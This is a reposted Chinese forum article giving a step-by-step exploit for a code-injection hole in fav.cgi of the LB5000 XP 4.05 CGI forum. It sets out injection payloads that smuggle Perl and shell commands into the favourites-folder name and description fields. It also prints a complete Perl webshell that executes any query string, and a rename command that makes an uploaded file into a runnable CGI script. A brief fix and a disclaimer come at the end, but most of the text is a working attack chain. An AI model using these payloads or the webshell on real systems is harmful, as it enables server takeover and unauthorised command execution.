发新话题
打印

[转载]再谈LB5000 XP漏洞

[转载]再谈LB5000 XP漏洞

信息来源:安全焦点
文章作者:Jamba1aya

仅以此文献给养育我多年的姥姥,并想对她说:姥姥,您辛苦了!

序:自从上次读完LB5000的源代码后,一直想把LB5000的源代码系统的看一遍,但是一看就觉得头大,虽然好友SystEM32反复激励,我也没有坚持看下去,总是半途而废。再次捧起LB5000源代码还是由于一位叫云舒朋友的反面“激励”,让自己的懒惰一扫而空,再次捧起让我看着眼晕的代码,只为了证明自己。其实人总是这样,没有压力不抬头,没有动力不奋进,二者都具备的时候,你就会看到真实的自己了:)赌气的我从雷傲的网站上找到了最新的LB5的代码,开啃!
一、涉及版本:
LB5000是www.leoboard.com开发和维护的一款开放源代码的CGI论坛,也是国内使用较为广泛的论坛。漏洞涉及版本:LB5000XP4.05受此漏洞影响。,低于4.05的版本我没有作测试,有兴趣的朋友可以自行测试。
二、漏洞分析:
这次引起漏洞的是一个叫fav.cgi的文件,这个文件的功能是用来把自己喜欢的文章添加到个人收藏。里面因为没有谨慎的对待用户提交的代码,导致恶意用户可以通过构造语句绕开LB5的限制写入Webshell,继而操作整个主机。相关代码如下所示:
复制内容到剪贴板
代码:
150 $file=(-e"${lbdir}memfav/close/$infilemembername.cgi")?"${lbdir}memfav/close/$infilemembername.cgi":"${lbdir}memfav/open/$infilemembername.cgi";
......
198 push(@catelist,$newcate."o");
......
208 open (FAV, ">$file");
209 print FAV "$catelist\t$favdescript\n";
210 print FAV "$intopic\t$inforum\tnormal\t$incate\t$currenttime\t\n";
我来简单解释一下,在正常情况下,我们要建立自己的收藏目录,而且可以把自己新建要收藏贴子的目录选为保密和公开,并且分别以自己的用户名保存在memfav/close和memfav/open下,如用户名为Jambalaya,我选择我的目录为保密,就会保存为../cgi-bin/memfav/close/Jambalaya.cgi,程序首先判断用户的文件是否为保密,从而选择目录,然后向文件中写入用户要收藏的文章ID。首先被写入的是你的新建目录的名字,后面有一个字母“o”,意思是open就是开放的意思,如果你选择的是保密(close),后面的字母就是"c"。新建目录的后面是这个新建目录的内容简介($favdescript)。然后紧跟着一个回车,再输入你选择的贴子号($intopic),第几论坛($inforum),新建目录名($newcate),现在的时间($currenttime)。如我们新建目录的名字是欢迎大家来www.itaq.org玩,收藏夹内容简介写我是Jambalaya,来自IT安全和Hackart,欢迎大家到itaq.org。随便选择一个贴子点击收藏,那么看看论坛是如何保存的,找到../cgi-bin/memfav/close/Jambalaya.cgi的文件,里面记录如下:
欢迎大家来www.itaq.org来玩o >>我是Jambalaya,来自IT安全。(这里一个回车)
2 1 normal 欢迎大家来www.itaq.org来玩 944767971
这是用户的正常输入,一切看起来都没什么瑕疵,感觉很完美。就算我再目录处写入system @ARGV#的一个webshell,也会被后面回车下的一大堆垃圾所毁灭。而如果我只新建一个目录而不收藏任何文章,那会是什么样子呢?我们来试试看,我们只建立一个叫欢迎大家来www.itaq.org玩的目录,../cgi-bin/memfav/close/Jambalaya.cgi的文件,里面记录如下:
欢迎大家来www.itaq.org来玩o
正如你所见,回车已经消失了。。。在标题处输入System('dir f:\\')#,Yeah!看到F盘了!高兴么?先别高兴的太早,因为我们的攻击好没有开始,我为什么这么说呢?先看看到这几行代码?
复制内容到剪贴板
代码:
......
if(-e "${lbdir}memfav/close/$infilemembername.cgi");
elsif($checked eq "newcate"){
&error("设置个人收藏&新目录名称不能为空!") if($newcate eq "");
&error("设置个人收藏&新目录名称不能多于 30 个英文字(15 个中文字)!") if(length($newcate) > 30);
.......
我们目录名的输入必须小于30字母,这条件有点太苛刻了,稍微试一下你就会发现,30个英文字母连浏览完目录的字数都不够啊!我又反复的看了看代码,注意到后面的目录简介和目录名只有一个TAB键,如果我们可以把两个输入连起来字数的限制就不是什么问题了,可是在简介前和目录后会加上">>"和“o/c”这样的东西,并且过滤了分号,而且>>前和o之间的东西是我不能控制其输入的,弄了半天我也绕不开这两个捣乱的东西,有点郁闷了!愣了一会,忽然想起小时候姥爷教我太极拳中的推手的时候,姥爷曾告诉我在不能消灭敌人的时候,就要学会去利用敌人----接力打力!!在0.01秒的发呆之后,一丝微笑浮现在了我的脸上。。。
怎么才能消除>>带来的语法错误呢?嘿嘿,利用要比毁灭来的轻巧。就去利用他给我们捣乱的这个东西试试看,我们构造这样的语句[如图1]:
$o=10,$o>>=1,$a=`dir f:\\myhome\\lbxp\\cgi-bin\\`,print $a#
先在标题栏输入"$o=10,$"(没有引号),在简介栏里输入">>=1,$a=`dir f:\\myhome\\lbxp\\cgi-bin\\`,print $a#
"(没有引号),这样构造出来,在,../cgi-bin/memfav/close/Jambalaya.cgi里的语句就是$o=10,$o >>=1,$a=`dir f:\\myhome\\lbxp\\cgi-bin\\`,print $a#(友情提示:$a=后面是反引号,不是单引号),我简单解释一下,因为>>=是复合右移位,所以“$o=10,$o>>=1”成了一个简单的赋值语句,中间的tab不会给我们带来阻碍。反引号``可以用来执行系统命令。而语句之间我们用逗号表达式,逗号表达式会从左到右的执行赋值语句,直到最后一条输出语句,这样就避开使用分号。最后输出就达到我们的目的了[如图2],这回才是彻底的成功了,可以松口气了。
好了,我们基本上已经可以写入任何语句了,先来弄个webshell。上传一个包含webshell的txt文件,文件内容为:
复制内容到剪贴板
代码:
#Jambalaya
#!/usr/bin/perl
binmode(STDOUT);
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
$_ = $ENV{QUERY_STRING};
s/%20/ /ig;
s/%2f/\//ig;
$execthis = $_;
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
open(STDERR, ">&STDOUT") || die "Can&#39;t redirect STDERR";
system($execthis);
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
close(STDERR);
close(STDOUT);
exit;
我们知道他会保存在..\non-cgi\usr\1\1_贴子号。1是代表论坛板块的ID值,贴子号是贴子的ID值,我举个列子:把你的鼠标指向你上传文件的贴子就可以看到froum=1&topic=231,那么你上传的txt文件就是..\non-cgi\usr\1\1_231.txt。好了,我们用一条语句解决问题:$o=10,$o>>=1,$a=`ren f:\\myhome\\lbxp\\non-cgi\\usr\\1\\1_231.txt`,print $a#[友情提示:也可以用:$o=10,$o>>=1,system(&#39;ren f:\\myhome\\lbxp\\non-cgi\\usr\\1\\1_231.txt Jam.cgi&#39;)#],只要它不报错就成功了。在浏览器中输入www.target.com/non-cgi/usr/1/Jam.cgi?dir,OK了~~~~~~~~
你可以在cgi-bin下找到member的目录,然后把自己加成论坛管理员,具体操作可以去www.itaq.org看我的另一篇文章《千里之堤,毁于蚁穴-LB5000 XP漏洞再现》这里不再赘述了。我写了一个关于这个漏洞的脚本放在了论坛,有兴趣的朋友可以去看看:)
解决方法:其实解决方法可说可不说,我简单说一下吧,可以象LB5K曾经的解决方法一样,在目录的前面加上*#!&*这些特殊字符,然后再提取的时候将这些东西去掉就可以了。
我在文章中把整个漏洞说得很细,我只是想让大家知道其中的危害,并不是让大家去攻击别人。我们也可以看到LB5历经磨难,虽然出了几个bug,但并不代表LB5不是一个优秀的论坛,相反,它日趋完善。没有一个论坛没有BUG,就好像没有一个人不犯错误一样。我们关注LB5也是希望她能够更加的完美,更加担得起“安全”这两个不寻常字的重量!祝LB5一路走好。。。
行文仓促,难免有错,还望高手能不吝赐教,也欢迎大家光临www.itaq.org交流技术。
qq310926是我唯一用号,除此之外有其他号码号自称邪八冰血封情,则非本人。

TOP

发新话题